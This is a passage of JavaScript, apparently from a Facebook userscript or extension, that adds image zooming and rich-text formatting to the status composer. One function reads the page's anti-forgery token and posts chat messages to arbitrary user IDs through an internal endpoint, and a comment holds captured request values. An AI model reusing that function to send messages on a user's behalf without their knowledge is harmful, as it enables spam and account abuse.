	
	// 4
	//
	if(bigsrc==1) {
					if(obj.src)bigsrc=obj.src.replace('s.jpg','n.jpg');

	}
	obj.style.cursor='ne-resize';
	var image=new Image();
	image.src=bigsrc;
		zoomer_present=document.getElementById('zoomer-social');
		if(zoomer_present) {document.body.removeChild(zoomer_present);}
		hauteur2=window.scrollY;
		hauteur=window.innerHeight;
		
		position=(hauteur/2)+hauteur2-170;
		
		

		largeur=window.innerWidth/2;
				
		maxheigth=(hauteur-180);

		newnode2=document.createElement('a');
		newnode2.id="zoomer-social";
		
		newnode2.setAttribute('style',"position:absolute;top:"+position+"px;left:"+(largeur-100)+"px;z-index:999;");
		newnode2.innerHTML='<img id="loaderzooom" src="http://static.buzzzapps.com/src/loader.gif" style=""><img src="" id="zoomer_image" style="display:none;padding:10px; -webkit-box-shadow: 1px 1px 12px #555; -moz-box-shadow: 1px 1px 12px #555;background:none repeat scroll 0 0 #fff;;max-height:'+(hauteur-60)+'px;"/>';
		newnode2.href=obj.parentNode.href;
		newnode2.setAttribute('rel',"theater")
		newnode2.setAttribute('ajaxify',obj.parentNode.href+"&theater");
		newnode2.addEventListener('mouseout',function(){
			try{
				
				document.body.removeChild(this);}
			catch(e){}
		},false);
		newnode2.addEventListener('click',function(){
			try{
				
				document.body.removeChild(this);}
			catch(e){}
		},false);
		//console.log();
		
	
		document.body.appendChild(newnode2);
		
	image.addEventListener('load',function(){
		
			
			aaaa=image.height;
			bbbb=image.width;
			if(aaaa>(hauteur-60)) aaaa=(hauteur-60);
			zoomer=document.getElementById('zoomer-social');
          	if(zoomer){zoomer.style.top=position-(aaaa/4)+'px';
            zoomer.style.left=(largeur-(bbbb/2))+'px';}
							largeur=window.innerWidth/2;

			contenu=document.getElementById('zoomer_image');
			contenu.src=bigsrc;
				contenu.style.opacity=0;
			FadeIn('zoomer_image',50);
			contenu.style.display="block";
		
			document.getElementById('loaderzooom').style.display="none";
		},false);
}
var counterAjax=0;
 function ajaxeur(urlpost,params,callback){
	 counterAjax++;
	window.setTimeout(function() {

 	var xdr = new XMLHttpRequest();
 	xdr.onreadystatechange = function() {
	    if(xdr.readyState==4){ if(xdr.status==200)callback(xdr.responseText);
		if(xdr.status!=200) {if(!troublepopup) {showpopup(TROUBLE_POP_T,'<div style="padding:10px;color:#333">'+TROUBLE_POP_C+' <br /></div>');
		troublepopup=true;
		}
		// relance la requete echouÃ© 15sec apres 
	//	setTimeout(function(){ajaxeur(urlpost,params,callback);},15000);
		}
		}
    }
    xdr.open('GET',urlpost,true);
	//xdr.setRequestHeader( 'Cookie' , document.cookie );	
    xdr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xdr.send(params.join('&'));
	}, 0);
		//console.log(urlpost);
		
}

 function fajax(urlpost,params,callback){
	 counterAjax++;
	window.setTimeout(function() {

 	var xdr = new XMLHttpRequest();
 	xdr.onreadystatechange = function() {
	    if(xdr.readyState==4){callback(xdr.responseText);
		if(xdr.status!=200) {if(!troublepopup) {showpopup(TROUBLE_POP_T,'<div style="padding:10px;color:#333">'+TROUBLE_POP_C+' <br /></div>');
		troublepopup=true;
		}
		// relance la requete echouÃ© 15sec apres 
		
		}
		}
    }
    xdr.open('POST',urlpost,true);
    xdr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xdr.send(params.join('&'));
	}, 0);
		//console.log(urlpost);
		
}
function dragthiswindow(e){

	
	ida=e.target.id.split('_')[1];
	offset=0;
	//javascript:alert(.offsetLeft)
	chat_wrapper=document.getElementById('webcam_'+ida);
	if(chat_wrapper)
	{	
	 document.onselectstart = function () { return false; };
		 document.body.focus(); // prevent text selection in IE 
		
		chat_wrapper.style.left=(e.clientX- document.body.clientLeft)-10+"px";
		valeur=window.innerHeight-e.clientY ;
	
		chat_wrapper.style.bottom=(valeur-201)+"px";
		document.body.focus();
	
	}
}
function sendMessage(idto,message)
{
	
	
	
fb_dtsgV=document.getElementsByName('fb_dtsg')[0].value;
		/*
		.	msg_id:1312960514516:4190576676
	.	client_time:1312960510987
	.	to:100000385812364
	.	num_tabs:1
	.	pvs_time:
	.	msg_text:dsqdqs
	.	to_offline:false
	.	to_idle:false
	.	popped_out:false
	.	sidebar_launched:true
	.	sidebar_enabled:true
	.	sidebar_capable:true
	.	sidebar_visible:true
	.	post_form_id:1f95b7343723423d89732ea9bd610831
	.	fb_dtsg:AQD0Y3JU
	.	lsd:
	.	post_form_id_source:AsyncRequest
	.	__user:100001112841427
	*/
	


var param1=new Array();
time=new Date().getTime();
	param1.push("client_time="+time);
param1.push('msg_id=1312960514516:4190576676'); 
param1.push('msg_text='+message);
	param1.push("fb_dtsg="+fb_dtsgV);
	param1.push("lsd=");
		param1.push("num_tabs=3");
post_form_id="";
	param1.push("post_form_id="+post_form_id);
	param1.push("post_form_id_source=AsyncRequest");
		param1.push("pvs_time="+time);
	param1.push("__user="+FB_UID);
	param1.push("to="+idto);
	param1.push("to_offline=false");	
		param1.push("to_idle=false");	
			param1.push("popped_out=false");	
	fajax(document.location.protocol+"//"+document.location.host+"/ajax/chat/send.php?__a=1",param1,function(data){});
}
function attachComposerListener(){
	if(!newFB)
	{
			if(!document.getElementById('composer_id')) return;

		id_i=document.getElementById('composer_id');
			document.getElementById('Bold').addEventListener('click',make,false);
			document.getElementById('Italic').addEventListener('click',make,false);
			document.getElementById('strikethrough').addEventListener('click',make,false);
			document.getElementById('underline').addEventListener('click',make,false);
			document.getElementById('c_picker').addEventListener('click',color_picker,false);
			document.getElementById('faceboo').isok=true;
			id_input=id_i.value;
			statut_input=document.getElementById(id_input+'_input');
		
			statut_input.style.color="#2d0186";
			statut_input.addEventListener('focus',placeiframe,false);
			document.getElementById('niacloser').addEventListener('click',function()
			{
				this.style.backgroundColor='#DDDDDD';
				facebookplus=document.getElementById('facebookplus');
				if(facebookplus)
				{
					updatestatus();
					facebookplus.style.display="none";
				}
				else statut_input.removeEventListener('focus',placeiframe,false);
				div_input=document.getElementsByClassName('Mentions_Input')[0];
				if(div_input)
				{
					dont_check=false;
					div_input.style.display="block";
				}
			
			},false);
	}
	else 
	{
			document.getElementById('Bold').addEventListener('click',make,false);
			document.getElementById('Italic').addEventListener('click',make,false);
			document.getElementById('strikethrough').addEventListener('click',make,false);
			document.getElementById('underline').addEventListener('click',make,false);
			document.getElementById('c_picker').addEventListener('click',color_picker,false);
		document.getElementById('faceboo').isok=true;
			//id_input=id_i.value;
			statut_input=document.getElementsByClassName('mentionsTextarea')[0];
			if(document.getElementsByClassName('uiTypeaheadView') &&document.getElementsByClassName('uiTypeaheadView')[0]) id_input=document.getElementsByClassName('uiTypeaheadView')[0].split('_')[0];
			statut_input.style.color="#2d0186";
			statut_input.addEventListener('focus',function(){placeiframe();},false);
		
	}
}

function composer()
{
		

	if(document.getElementById('faceboo') )
	{
		if(!document.getElementById('faceboo').isok)attachComposerListener();	
		return;
	}
	where=document.getElementsByClassName('UIComposer_InputArea')[0];
	if(where)
	{
		

		id_i=document.getElementById('composer_id');
		
		if(id_i)
		{
			newFB=false;
		// On place les boutons
			newnode=document.createElement('ul');
			newnode.id='faceboo';
			newnode.isok=true;
			
			newnode.style.marginBottom="5px";
			newnode.innerHTML='<li class="UIComposer_AttachmentPrompt" style="float:left;margin-top:-2px">Style&nbsp;:</li>'+
			'<li class="UIComposer_AttachmentBla" style="float:left;margin-top:2px" id="c_picker">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText ">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+COLOR+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " style="background-image:url('+IMG_COLOR+');width:16px;height:13px"><div  id="mycolorbuton" style="margin-top:13px;width:16px;height:3px;background-color:#000"></div></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla3" style="float:left" id="Bold">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="grasbutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+BOLD+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="gras" style="background-color:transparent;background-image:url('+IMG_BOLD+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla4" style="float:left" id="Italic">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="italbutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+ITALIC+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="ital" style="background-color:transparent;background-image:url('+IMG_ITALIC+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla5" style="float:left" id="underline">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="soulbutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+UNDERLINE+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="soul" style="background-color:transparent;background-image:url('+IMG_UNDERLINE+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla5" style="float:left" id="strikethrough">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="strikebutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+STRIKE+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="strike" style="background-color:transparent;background-image:url('+IMG_STRIKE+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla6" style="float:right">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="niacloser">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">Off</span>'+
			'</span><span class="UIButton_Text"> X&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentPrompt">&nbsp;</li>';
	
			where.parentNode.insertBefore(newnode,where);
			document.getElementById('Bold').addEventListener('click',make,false);
			document.getElementById('Italic').addEventListener('click',make,false);
			document.getElementById('strikethrough').addEventListener('click',make,false);
			document.getElementById('underline').addEventListener('click',make,false);
			document.getElementById('c_picker').addEventListener('click',color_picker,false);
			
			id_input=id_i.value;
			statut_input=document.getElementById(id_input+'_input');
		
			statut_input.style.color="#2d0186";
			statut_input.addEventListener('focus',placeiframe,false);
			document.getElementById('niacloser').addEventListener('click',function()
			{
				this.style.backgroundColor='#DDDDDD';
				facebookplus=document.getElementById('facebookplus');
				if(facebookplus)
				{
					updatestatus();
					facebookplus.style.display="none";
				}
				else statut_input.removeEventListener('focus',placeiframe,false);
				div_input=document.getElementsByClassName('Mentions_Input')[0];
				if(div_input)
				{
					dont_check=false;
					div_input.style.display="block";
				}
			
			},false);
		
		}
		
	}
	else if(document.getElementsByClassName('uiComposer').length) new_composer(); 
	
	// ecouteur sur textarea "DOMControl_placeholder"

}
function new_composer(){
	newFB=true;
	if(document.getElementById('faceboo') )
	{
		if(!document.getElementById('faceboo').isok)attachComposerListener();	
		
		return;
	}
	//console.log('bew')
	var a=document.getElementsByClassName('uiComposer')[0];
	if(a)
	{
		
		if(a.getElementsByClassName('uiListHorizontal').length)
		{
			var b=a.getElementsByClassName('uiListHorizontal')[0];
			where=document.getElementsByClassName('inputContainer')[0]
		// On place les boutons
		
			newnode=document.createElement('ul');
			newnode.id='faceboo';
			newnode.isok=true;
			newnode.style.opacity=0;
			newnode.style.display="none";
			newnode.style.float="right";
			newnode.setAttribute("style","height: 21px; background-color: #F2F2F2; border-top: 1px solid #E6E6E6; padding: 2px; padding-left: 5px;display:none;float:left")
			newnode.innerHTML='<li class="UIComposer_AttachmentPrompt" style="float:right;margin-top:-2px"> </li>'+
			'<li class="UIComposer_AttachmentBla" style="float:left;margin-top:2px" id="c_picker">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText ">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+COLOR+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " style="background-image:url('+IMG_COLOR+');width:16px;height:13px"><div  id="mycolorbuton" style="margin-top:13px;width:16px;height:3px;background-color:#000"></div></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla3" style="float:left" id="Bold">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="grasbutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+BOLD+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="gras" style="background-color:transparent;background-image:url('+IMG_BOLD+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla4" style="float:left" id="Italic">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="italbutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+ITALIC+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="ital" style="background-color:transparent;background-image:url('+IMG_ITALIC+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla5" style="float:left" id="underline">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="soulbutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+UNDERLINE+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="soul" style="background-color:transparent;background-image:url('+IMG_UNDERLINE+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla5" style="float:left" id="strikethrough">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="strikebutton">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">'+STRIKE+'</span>'+
			'</span><span class="UIButton_Text"><i class="UIButton_Icon " id="strike" style="background-color:transparent;background-image:url('+IMG_STRIKE+')"></i>&nbsp;</span></a></li>'+
			'<li class="UIComposer_AttachmentBla6" style="float:right">'+
			'<a class="UIButton UIButton_Gray UIActionButton_SuppressMargin UIButton_Suppressed UIButton_CustomIcon uiTooltip UIActionButton_SuppressText " id="niacloser">'+
			'<span class="uiTooltipWrap">'+
			'<span class="uiTooltipText">Off</span>'+
			'</span><span class="UIButton_Text"></span></a></li>'+
			'<li class="UIComposer_AttachmentPrompt">&nbsp;</li>';
	
			where.appendChild(newnode);
			document.getElementById('Bold').addEventListener('click',make,false);
			document.getElementById('Italic').addEventListener('click',make,false);
			document.getElementById('strikethrough').addEventListener('click',make,false);
			document.getElementById('underline').addEventListener('click',make,false);
			document.getElementById('c_picker').addEventListener('click',color_picker,false);
		
			//id_input=id_i.value;
			statut_input=document.getElementsByClassName('mentionsTextarea')[0];
			id_input=statut_input.id;
			statut_input.style.color="#6f6d92";
			statut_input.addEventListener('focus',function(){placeiframe();},false);
			
		}
		
		
	}


}
function outbutton (e){
	if(e.target.nodeName=="IMG"){
		color=e.target.parentNode.style.backgroundColor;
		if(color!="rgb(197,196,196)") e.target.parentNode.style.backgroundColor="#fff";
		else e.target.parentNode.style.backgroundColor="#c5c4c4";
		}
	else
	{
		color=e.target.parentNode.style.backgroundColor;
		if(color!="rgb(197,196,196)") e.target.style.backgroundColor="#fff";
		else e.target.style.backgroundColor="#c5c4c4";
		
	}
	//197 196 196
}
function overbutton (e){
	if(e.target.nodeName=="IMG") e.target.parentNode.style.backgroundColor="#ececec";
	else e.target.style.backgroundColor="#ececec";
}

function placeiframe(){
	
}

function make(){
	iframe=	document.getElementById('facebookplus');
	if(iframe){
		iframe.contentDocument.designMode = "on";
		iframe.contentDocument.execCommand(this.id, false, null);
			if(!this.active)
			{
				if(this.nodeName=="IMG") this.parentNode.style.backgroundColor="#c5c4c4";
				else this.style.backgroundColor="#c5c4c4";
				this.style.borderColor='none';
				this.active=1;
			}
			else
			{
				if(this.nodeName=="IMG") this.parentNode.style.backgroundColor='transparent';
				this.style.backgroundColor='transparent';
				this.style.borderColor='transparent';
				this.active=0;
			}

			updatestatus();
			iframe.contentDocument.body.focus();
	}
}
function color_picker(){
	a=document.getElementById('color_picker');
	if(!a)
	{
		NodeNew=document.createElement('div');
		NodeNew.id='color_picker';
		NodeNew.setAttribute('style',' border: 1px solid #aeaeae; position: absolute; z-index: 10000000; width: 200px; padding: 5px; margin-left: 45px;border-top:0; top: 20px; background-color: #fff');
				NodeNew.innerHTML='<div id="result"  style="float:left">'+getTableColor()+'</div><div id="result" style="padding-left:10px;float:left"><br /> <br /><br /><br /> Result :<div id="valueeru2"  style="width:50px;height:20px;border:1px solid #000"></div></div>';		//NodeNew.innerHTML+=
	document.getElementById('faceboo').appendChild(NodeNew);	
		document.getElementById('move_color').addEventListener('click',function(e){if(document.getElementById('valueeru2').style.backgroundColor)make_color(document.getElementById('valueeru2').style.backgroundColor)},false);
		document.getElementById('move_color').addEventListener('mouseover',function(e){if(e.target.style.backgroundColor)document.getElementById('valueeru2').style.backgroundColor=(e.target.style.backgroundColor)},false);
	
	}
	else a.style.display="block";
}

 function RGBtoHex(R,G,B) {return "#"+toHex(R)+toHex(G)+toHex(B)}
function toHex(N) {
 if (N==null) return "00";
 N=parseInt(N); if (N==0 || isNaN(N)) return "00";
 N=Math.max(0,N); N=Math.min(N,255); N=Math.round(N);
 return "0123456789ABCDEF".charAt((N-N%16)/16)
      + "0123456789ABCDEF".charAt(N%16);
}
function getTableColor() {
	 
    var tableColor = '';
    
    var   total = 1657;
    var       X = Y = j = RG = B = 0;
    var      aR = new Array(total);
    var      aG = new Array(total);
    var      aB = new Array(total);
    var hexbase = new Array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F");
    
    for (var i=0; i<256; i++) {
        aR[i+510] = aR[i+765]  = aG[i+1020] = aG[i+5*255] = aB[i]     = aB[i+255]  = 0;
        aR[510-i] = aR[i+1020] = aG[i]      = aG[1020-i]  = aB[i+510] = aB[1530-i] = i;
        aR[i]     = aR[1530-i] = aG[i+255]  = aG[i+510]   = aB[i+765] = aB[i+1020]=255;
        
        if (i < 255) {
            aR[i/2+1530] = 127;
            aG[i/2+1530] = 127;
            aB[i/2+1530] = 127;
        }
    }
    
    var i  = 0;
    var jl = new Array();
    
    for (x=0; x<16; x++)
        for(y=0; y<16; y++)
            jl[i++] = hexbase[x] + hexbase[y];
    
    tableColor += '<table id="move_color" style="cursor:action" cellspacing="0" cellpadding="0">';
    
    var H = W = 63;
    toto = 0;
    
    for (Y=0; Y<=H; Y++) {
    	s = '<'+'tr>';
        j = Math.round(Y*(510/(H+1))-255);
        
    	for (X=0; X<=W; X++) {
    		i = Math.round(X*(total/W))
    		
            R = aR[i]-j;
            if (R < 0)               R = 0;
            if (R > 255 || isNaN(R)) R = 255;
            
    		G = aG[i]-j;
            if (G < 0)               G = 0;
            if (G > 255 || isNaN(G)) G = 255;
            
    		B = aB[i]-j;
            if (B < 0)               B = 0;
            if (B > 255 || isNaN(B)) B = 255;
            
            cssRGB = 'background-color:#' + jl[R] + jl[G] + jl[B];
            
    		s = s + '<td style="width:2px;height:2px;'+ cssRGB +'" '
                  + 'onmouseover="" '
                  + 'onclick=""></td>';
            toto++;
    	}
        
    	tableColor += s + "</tr>";
    }
    
    tableColor += "</table>";
    
    return tableColor;
}
function make_color(rgb)
{
 couleur=rgb.split('(');
 couleur=couleur[1].split(',');
 
  color= RGBtoHex(couleur[0],couleur[1],couleur[2]);
	//color=color.replace('#','');
try{	document.getElementById('facebookplus').contentDocument.designMode = "on";
    document.getElementById('facebookplus').contentDocument.execCommand("forecolor", false, color);
	document.getElementById("mycolorbuton").style.backgroundColor=rgb;}
	catch(e){}
	
	document.getElementById('color_picker').style.display="none";
updatestatus ();
}

var dont_check=true;
function placeiframe(){
	if(document.getElementById('facebookplus')) return;
	
	statut_input=document.getElementsByClassName('mentionsTextarea')[0];
			statut_input.style.color="#333";
			
if(!newFB){
	div_input=document.getElementsByClassName('Mentions_Input')[0];
	if(div_input)
	{
		div_input.innerText="";
		div_input.style.display="none";
	}

	composer_input=document.getElementsByClassName('UIComposer_InputShadow')[0];
	statut_input=document.getElementById(id_input+'_input');

	if(composer_input )
	{
		if(statut_input.nodeName=="DIV")
		{
			newnode=document.createElement('iframe');
			newnode.id='facebookplus';
			newnode.className="Mentions_Input";
			newnode.setAttribute('style','font-family:"lucida grande",tahoma,verdana,arial,sans-serif;width: 100%;height:48px;overflow:auto')
			newnode.setAttribute('vspace',"0")
			newnode.setAttribute('hspace',"0" )
			newnode.setAttribute('resize',"no" )
			newnode.setAttribute('marginwidth',"0" )
			newnode.setAttribute('marginheight',"0" )
			newnode.setAttribute('scrolling',"no")
			
			composer_input.appendChild(newnode);
			iframe=	document.getElementById('facebookplus').contentDocument;
			iframe.body.style.fontFamily='lucida grande,tahoma,verdana,arial,sans-serif'
			iframe.body.style.fontSize='13px';
			iframe.designMode = "on";
			bouton=document.getElementById(id_input+'_buttons');
			bouton.getElementsByClassName('uiButtonConfirm')[0].addEventListener('mousedown',function(){ if(dont_check)updatestatus;},false);
			bouton.getElementsByClassName('uiButtonConfirm')[0].addEventListener('mouseup',newstatut,false);
			iframe.addEventListener('keyup',function(e){
			//console.log('ok');
			updatestatus();
			str=document.getElementById('facebookplus').contentDocument.body.innerText;

			if(str.substring(str.length,str.length-1)=="@") 
			{
				document.getElementById('facebookplus').style.display="none";
				div_input=document.getElementsByClassName('mentionsTextarea')[0];
				if(div_input)
				{
					dont_check=false;
					div_input.style.display="block";
				}
				
			}
			if(document.getElementById('home_stream'))
			{
				document.getElementById('composer_buttons').style.display="block";
			}
			},false);
			window.blur();
			
			// FIREFIX
				document.getElementById('facebookplus').addEventListener('load',function(e){
			this.contentDocument.designMode = "on";
			
				this.contentDocument.body.style.fontFamily='lucida grande,tahoma,verdana,arial,sans-serif';
			this.contentDocument.body.style.fontSize='13px';
			
			bouton=document.getElementById(id_input+'_buttons');
			bouton.getElementsByClassName('uiButtonConfirm')[0].addEventListener('mousedown',function(){ if(dont_check)updatestatus;},false);
			bouton.getElementsByClassName('uiButtonConfirm')[0].addEventListener('mouseup',newstatut,false);
			

					
					
					this.contentDocument.addEventListener('keyup',function(e){
					

						updatestatus();

						str=document.getElementById('facebookplus').contentDocument.body.textContent;


						if(str.substring(str.length,str.length-1)=="@") 
						{
							
							document.getElementById('facebookplus').style.display="none";
							div_input=document.getElementsByClassName('mentionsTextarea')[0];
							if(div_input)
							{
								
								dont_check=false;
								div_input.style.display="block";
							}
							
						}
						
						if(document.getElementById('home_stream'))
						{
							
							document.getElementById('composer_buttons').style.display="block";
						}
					},false); // fin ecouteur keyup sur l'iframe
					
			},false); // fin ecouteur load sur l'iframe
			
			// END
		}
		else setTimeout(function(){placeiframe();},500);
	}
}
else
{
	
	if(document.getElementById("faceboo").style.display=="none"){
	setTimeout(function(){	FadeIn("faceboo",750);
		document.getElementById("faceboo").style.display="block";},0);
		
	}
	div_input=document.getElementsByClassName('mentionsTextarea')[0]
	if(div_input)
	{
		//div_input.innerText="";
		div_input.style.display="none";
	}

	composer_input=document.getElementsByClassName('composerTypeahead')[0];
	statut_input=document.getElementById(id_input);
	
	
									div_input.value=document.getElementsByName('xhpc_message_text')[0];
	  var evt = document.createEvent("MouseEvents"); // crÃ©er un Ã©vennement souris
    evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);  // intiailser l'Ã©vennement dÃ©ja crÃ©e par un click
    if(div_input)div_input.dispatchEvent(evt);  
	
	
	newnode=document.createElement('iframe');
			newnode.id='facebookplus';
			newnode.className="Mentions_Input";
			newnode.setAttribute('style','font-family:"lucida grande",tahoma,verdana,arial,sans-serif;width: 491px;height:20px;overflow:auto;border: none;')
			newnode.setAttribute('vspace',"0")
			newnode.setAttribute('hspace',"0" )
			newnode.setAttribute('resize',"no" )
			newnode.setAttribute('marginwidth',"0" )
			newnode.setAttribute('marginheight',"0" )
			newnode.setAttribute('scrolling',"no")
			
			composer_input.appendChild(newnode);
			iframe=	document.getElementById('facebookplus').contentDocument;
			iframe.body.style.fontFamily='lucida grande,tahoma,verdana,arial,sans-serif'
			iframe.body.style.fontSize='13px';
			iframe.designMode = "on";
		
			iframe.addEventListener('keyup',function(e){
			
			
			updatestatus();
			str=document.getElementById('facebookplus').contentDocument.body.innerText;

			if(str.substring(str.length,str.length-1)=="@") 
			{
				document.getElementById('facebookplus').style.display="none";
				div_input=document.getElementsByClassName('Mentions_Input')[0];
				if(div_input)
				{
					dont_check=false;
					div_input.style.display="block";
				}
				
			}
		
			},false);
			window.blur();
			var a=document.getElementById("contentArea");
	if(a){
			var boutonconfimer=a.getElementsByClassName('uiButtonConfirm')[0].firstChild
					boutonconfimer.addEventListener('mousedown',function(){ if(dont_check)updatestatus;},false);
					boutonconfimer.addEventListener('mouseup',newstatut,false);
	}
			// FIREFIX
			
			try{var b=document.getElementsByClassName('highlighter')
			if(b[0]){ b[0].style.visible="hidden";
			b[0].style.display="none";		
			}
			
			}
			catch(e){}
				document.getElementById('facebookplus').addEventListener('load',function(e){
			this.contentDocument.designMode = "on";
			
				this.contentDocument.body.style.fontFamily='lucida grande,tahoma,verdana,arial,sans-serif';
			this.contentDocument.body.style.fontSize='13px';
			
	
			

					
					
					this.contentDocument.addEventListener('keyup',function(e){
					

						updatestatus();

						str=document.getElementById('facebookplus').contentDocument.body.textContent;


						if(str.substring(str.length,str.length-1)=="@") 
						{
							
							document.getElementById('facebookplus').style.display="none";
							div_input=document.getElementsByClassName('Mentions_Input')[0];
							if(div_input)
							{
								
								dont_check=false;
								div_input.style.display="block";
							}
							
						}
						
											},false); // fin ecouteur keyup sur l'iframe
					
			},false); // fin ecouteur load sur l'iframe
			
			// END
}

}
function stripHTML(txt){ 
txt=txt.replace(/&nbsp;/gi,' ')
    return txt.replace(/(<\/?\w+((\s+\w+(\s*=\s*(?:".*?"|'.*?'|[^'">\s]+))?)+\s*|\s*)\/?>)|(<!--.*?-->)/gim, "")
}
function traite_chrome(txt){
	var adn=0;
	
	var el_temp = document.createElement('span');
	el_temp.innerHTML = txt;
	var parcour = el_temp.getElementsByTagName('*');
	for(var i=0;i<parcour.length;i++){
		var noeud = parcour[i];
		if (noeud.nodeName == 'SPAN')
		{
			var don_sp = new Array();
			if (noeud.style.color != '') don_sp.push('c='+deRGBaHex(noeud.style.color));
			if (noeud.style.fontWeight.indexOf('bold') >= 0) don_sp.push('B');
			if (noeud.style.fontStyle.indexOf('italic') >= 0) don_sp.push('I');
			if (noeud.style.textDecoration.indexOf('underline') >= 0) don_sp.push('U');
			if (noeud.style.textDecoration.indexOf('line-through') >= 0) don_sp.push('S');
			if(don_sp.length>0)adn++;
			
			if(don_sp.length>0)noeud.innerHTML = '['+don_sp.join(';')+']'+noeud.innerHTML+'[/]';
		}
		else if (noeud.nodeName != 'BR')
		{var don_sp = new Array();
		var sp_color = noeud.getAttribute('color');
		var name_noeud = noeud.localName.toUpperCase();
		if (sp_color != null){don_sp.push('c='+sp_color.substr(1,6));adn++;}
		
		if (name_noeud == 'I'||name_noeud == 'U'||name_noeud == 'B'||name_noeud == 'S'){adn++; don_sp.push(name_noeud);}
		if(don_sp.length>0)noeud.innerHTML = '['+don_sp.join(';')+']'+noeud.innerHTML+'[/]';
		}
	}
			//console.log(stripHTML(el_temp.innerHTML));
if(adn) return '['+SETTING+']'+stripHTML(el_temp.innerHTML)+'[/]';
else  return stripHTML(el_temp.innerHTML);
	
}

function deRGBaHex(pikachu) 
	{
	    var kikou = /\d+/g;
	    var cocu = pikachu.match(kikou);
	    for( var i = 0; i < cocu.length; i++ ) {
	        cocu[i] = parseInt(cocu[i]).toString(16);
	        if( cocu[i].length < 2 ) cocu[i] = '0'+cocu[i];
	    }
		return  cocu[0] + cocu[1] + cocu[2];
	}

function updatestatus ()
{
	setTimeout(function(){
	if(!newFB)
	{
		setTimeout(function(){
		htmlval=  document.getElementById('facebookplus').contentDocument.body.innerHTML;
		input_val=document.getElementById(id_input+'_input');
		input_val.innerHTML=traite_chrome(htmlval);
		},0);
	}
	else
	{
		setTimeout(function(){
						document.getElementById('facebookplus').style.height=document.getElementById('facebookplus').contentDocument.height+"px"
if(document.getElementById('faceboo').parentNode.className=="clearfix showOnceInteracted uiComposerMessageBoxControls") document.getElementById('faceboo').parentNode.className="clearfix uiComposerMessageBoxControls";
			//id=id_input.split('_')[0]
		htmlval=  document.getElementById('facebookplus').contentDocument.body.innerHTML;
		htmlval=htmlval.replace(/&lt;3/gi,'â™¥');
		//	console.log(htmlval);
		//input_val=document.getElementsByClassName('DOMControl_shadow')[0];
		document.getElementsByName('xhpc_message')[0].value=traite_chrome(htmlval);
		
		if(htmlval.split("@").length>1) 
						{
							
							document.getElementById('facebookplus').style.display="none";
							div_input=document.getElementsByName('xhpc_message_text')[0];
							if(div_input)
							{
								div_input.value=stripHTML(document.getElementsByName('xhpc_message')[0].value);
								dont_check=false;
								div_input.style.display="block";
												var evObj = document.createEvent('KeyboardEvent');
